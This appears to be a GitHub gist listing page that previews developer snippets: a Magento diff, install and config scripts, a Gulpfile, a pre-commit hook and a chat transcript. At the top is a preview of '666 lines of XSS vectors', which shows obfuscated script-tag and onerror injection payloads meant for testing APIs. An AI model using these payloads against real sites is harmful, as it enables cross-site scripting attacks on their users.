Skip to content

Instantly share code, notes, and snippets.

View colinodell's full-sized avatar

Colin O'Dell colinodell

View GitHub Profile
@JohannesHoppe
JohannesHoppe / 666_lines_of_XSS_vectors.html
Created May 20, 2013 13:38
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>

Make it real

Ideas are cheap. Make a prototype, sketch a CLI session, draw a wireframe. Discuss around concrete examples, not hand-waving abstractions. Don't say you did something, provide a URL that proves it.

Ship it

Nothing is real until it's being used by a real user. This doesn't mean you make a prototype in the morning and blog about it in the evening. It means you find one person you believe your product will help and try to get them to use it.

Do it with style

@philwinkle
philwinkle / ce-1.6.2.0\app\code\core\Mage\Usa\Model\Shipping\Carrier\Fedex.php
Last active October 7, 2016 00:38
Git diff of Fedex SOAP API endpoint change - CE 1.6, 1.7, 1.8 and EE 1.11, 1.12, 1.13
diff --git a/app/code/core/Mage/Usa/Model/Shipping/Carrier/Fedex.php b/app/code/core/Mage/Usa/Model/Shipping/Carrier/Fedex.php
index d567b6e..9a98440 100644
--- a/app/code/core/Mage/Usa/Model/Shipping/Carrier/Fedex.php
+++ b/app/code/core/Mage/Usa/Model/Shipping/Carrier/Fedex.php
@@ -119,8 +119,8 @@ class Mage_Usa_Model_Shipping_Carrier_Fedex
{
$client = new SoapClient($wsdl, array('trace' => $trace));
$client->__setLocation($this->getConfigFlag('sandbox_mode')
- ? 'https://wsbeta.fedex.com:443/web-services/rate'
- : 'https://ws.fedex.com:443/web-services/rate'
@robatron
robatron / generalized-tree-search.md
Last active September 6, 2018 12:50
Generalized tree search (DFS, BFS)

Generalized Tree Search

A generalized depth and breadth-first tree search algorithm

Here's a neat little algorithm that can perform a depth-first search (DFS) or breadth-first search (BFS) by simply changing the collection data type:

search( Node root ) {
    Collection c = new Collection()
 c.push( root )
@ianunruh
ianunruh / install-redis.sh
Last active July 13, 2018 14:35
Install single instance of Redis on Ubuntu 14.04
#!/bin/bash
if [ "$#" -ne "2" ]; then
echo "Usage: ./install-redis-instance.sh NAME PORT"
exit 1
fi
if [ ! -x /usr/local/bin/redis-server ]; then
apt-get install -y build-essential
curl -O -L http://download.redis.io/releases/redis-2.8.9.tar.gz
@laracasts
laracasts / Gulpfile.js
Created August 20, 2014 20:47
PHPSpec auto-testing Gulpfile
var gulp = require('gulp');
var phpspec = require('gulp-phpspec');
var run = require('gulp-run');
var notify = require('gulp-notify');
gulp.task('test', function() {
gulp.src('spec/**/*.php')
.pipe(run('clear'))
.pipe(phpspec('', { notify: true }))
.on('error', notify.onError({
@jmikola
jmikola / transcript.txt
Created October 10, 2014 16:31
Symfony Live NYC ReactPHP chat server
$ telnet jmikola.net 8888
Trying 97.107.131.54...
Connected to jmikola.net.
Escape character is '^]'.
hello
131.107.200.34: hi
131.107.200.34: hello
69.164.215.64: YOLO
131.107.200.34: hello
131.107.200.34: Hello Jeremy
@ptbrowne
ptbrowne / README.md
Last active August 29, 2015 14:13
git-fix

git fix

Combines python-inquirer and git-amend-old to make git fix.

This gives you the possibility to amend a specific commit very easily.

Thanks to @magmax and @colinodell

https://github.com/magmax/python-inquirer

@vimishor
vimishor / pre-commit
Created April 14, 2015 19:31
Prevents debug traces and sensitive data to be commited.
#!/bin/sh
#
# Prevents debug traces and sensitive data to be commited.
#
# What to search for
FUNCTIONS='var_dump\(|phpinfo\(|print_r\('
# Prevent the commit if something is found.
# default: true
@kamermans
kamermans / configure_docker0.sh
Last active April 26, 2024 00:58
Change the IP subnet of Docker's docker0 interface
#!/bin/sh -e
#
# NOTE: Since Docker 1.10 (February 4, 2016), it has been possible to configure the
# Docker daemon using a JSON config file. On Linux, this file is normally located at
# /etc/docker/daemon.json. You should use this JSON config method if you are running
# a version of Docker that is at least 1.10!
# Here is an example configuration that sets the docker0 bridge IP to 192.168.254.1/24:
# {
# "bip": "192.168.254.1/24"
# }